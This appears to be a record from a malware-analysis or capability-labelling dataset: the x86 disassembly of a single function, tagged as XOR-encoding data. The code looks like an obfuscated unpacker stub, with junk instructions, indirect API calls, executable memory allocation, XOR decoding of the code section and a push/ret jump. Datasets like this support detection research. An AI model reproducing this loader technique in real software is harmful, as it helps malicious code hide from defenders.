Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xebcc4447
sub edx, edi
or edx, edi
or edx, edx
popal
and edx, edx
sub edi, 1
mov edx, edi
mov edi, 0
mov eax, ebx
or esi, edx
sub edx, 0x7835add
inc esi
mov ecx, eax
and edx, esi
add edx, 0xe8cfca1d
inc esi
mov ebx, ecx
not esi
add edx, 0x7bbc530e
not esi
inc edi
sub edx, esi
not esi
cmp edi, 0x10098b4
jne 0xa789c8
or edx, edx
add edx, 1
or edx, edx
not edx
and edi, edx
mov ecx, 0xa78796
add edi, 0x96643d5c
add ebx, 0x4232a105
add esi, ebx
mov edx, 0xa7898a
inc esi
mov edi, ebx
sub esi, 0x8317380b
mov eax, dword [ecx]
add esi, ebx
mov edi, 0x7403f7cc
and eax, 0xff
add ebx, 0xac897080
mov esi, 0x6e213a6b
xor dword [edx], eax
and ebx, esi
or edi, edi
add esi, esi
add edx, 1
sub ebx, esi
mov esi, 0xb982e24
inc ecx
add edi, 1
dec edi
sub esi, 0x3b9aff53
cmp edx, entry0
jl 0xa78a2a
add ebx, ebx
add edi, 0x505cb7c
add edi, 0x3ca1b7c6
sub ebx, edi
add edx, ecx
or edi, edi
mov esi, 0xa7898e
and ecx, edi
inc edi
mov esi, dword [esi]
inc edi
mov ebx, 0xcb917e46
sub edx, 0x916bae92
mov esi, dword [esi]
mov edx, 0xc8973c59
mov edi, ebx
dec ecx
sub esp, 4
mov dword [esp], esi
add ebx, 0xe84e479
not ecx
mov esi, 0xa7898a
inc ecx
add edx, ebx
sub ebx, ecx
mov esi, dword [esi]
add edx, ecx
not edi
mov esi, dword [esi]
sub edi, 0x9a802e7
add edi, 0x2cdc8ea3
push 0xa78992
and ebx, edi
or ebx, ebx
dec ebx
call esi
add edx, ecx
sub ecx, edi
pop esi
mov ecx, edx
sub edx, ecx
or edi, edi
push 0xa7899f
mov edi, ecx
sub edi, ecx
push eax
mov ebx, 0xab970622
not ecx
and edi, edi
call esi
mov edx, 0x1ebe1c79
and edi, ebx
push 0x40
and ebx, edx
sub ebx, edx
push 0x3000
and edi, ebx
mov edi, ecx
push 0x20000728
not ecx
add edi, 0x33a1ea98
or ecx, ebx
push 0
or ebx, ebx
mov edi, 0xb8b62d02
call eax
add edx, 0xbd3b4d2e
not edi
inc ebx
add eax, 0x20000696
add edx, ecx
mov ecx, 0x3c38aef5
inc ebx
mov esi, 0x8e2e42ae
mov edi, 0xdfbb6778
dec ecx
mov edi, 0xde72571
mov dword [eax], esi
inc ebx
add ebx, ecx
mov esi, dword [eax]
dec edi
dec ecx
add edx, 0x163183eb
cmp esi, 0x8e2e42ae
je 0xa78b7a
mov ecx, 0
mov edx, dword [ecx]
add ecx, edx
mov ecx, edx
and edx, edi
add edx, 0x1791d7d6
inc ebx
mov edi, edx
sub edx, 0xf663e622
add edi, 0x836488c9
add edi, edi
mov ebx, section..text
mov edx, 0xf66c1d9c
add edi, 1
add edi, 0x6aa46549
mov esi, 0xa78795
not edx
add edi, 0x7f1af0c0
mov ecx, 0
and edx, edx
mov edx, 0x44dbea01
or edx, edi
mov eax, 0xa78796
add edx, 0xc9c20944
and edi, edi
lea eax, [ecx + eax]
or edx, edx
sub edi, 0x18b06874
mov eax, dword [eax]
sub edx, edi
and edx, edx
add edi, 0x1bd9f157
and eax, 0xff
sub edx, edi
not edx
add ecx, 1
add edx, 0xfd77edcc
mov edx, edi
cmp ecx, 0x1f4
jne 0xa78c11
mov ecx, 0
mov edi, 0x29ac4aa7
sub edi, 1
not edi
sub edi, 0x4306dacd
xor dword [ebx], eax
dec edx
mov edx, 0x9ff28bf8
or edx, edx
add ebx, 2
dec edx
and edi, edi
sub edi, 0xc8d22614
cmp ebx, esi
jl 0xa78bc8
add edx, edi
mov edx, edi
add edi, 0x9ea92fa2
inc edx
and edx, edi
mov esi, section..text
dec ebx
add edx, 0x2dc7a511
and ebx, ebx
mov edi, section..text
add ebx, 1
sub edx, ebx
mov ecx, 0xa78795
mov edx, ebx
add edx, ebx
mov eax, 0
sub ebx, edx
sub edx, 0xc421edb5
mov al, byte [edi]
sub ebx, 0xe9190912
dec edx
add ebx, ebx
mov byte [esi], al
add ebx, edx
mov ebx, edx
add edx, edx
add esi, 1
and edx, edx
add ebx, 0x6dee4739
add edi, 2
add ebx, 1
mov ebx, 0xc470a1c8
or ebx, edx
cmp edi, ecx
jle 0xa78c83
add ebx, edx
dec edx
sub ebx, 0x8edbd360
not edx
dec edx
inc edi
push 0x8dc6a0
and edi, edx
add edi, 0x48cf3cfc
ret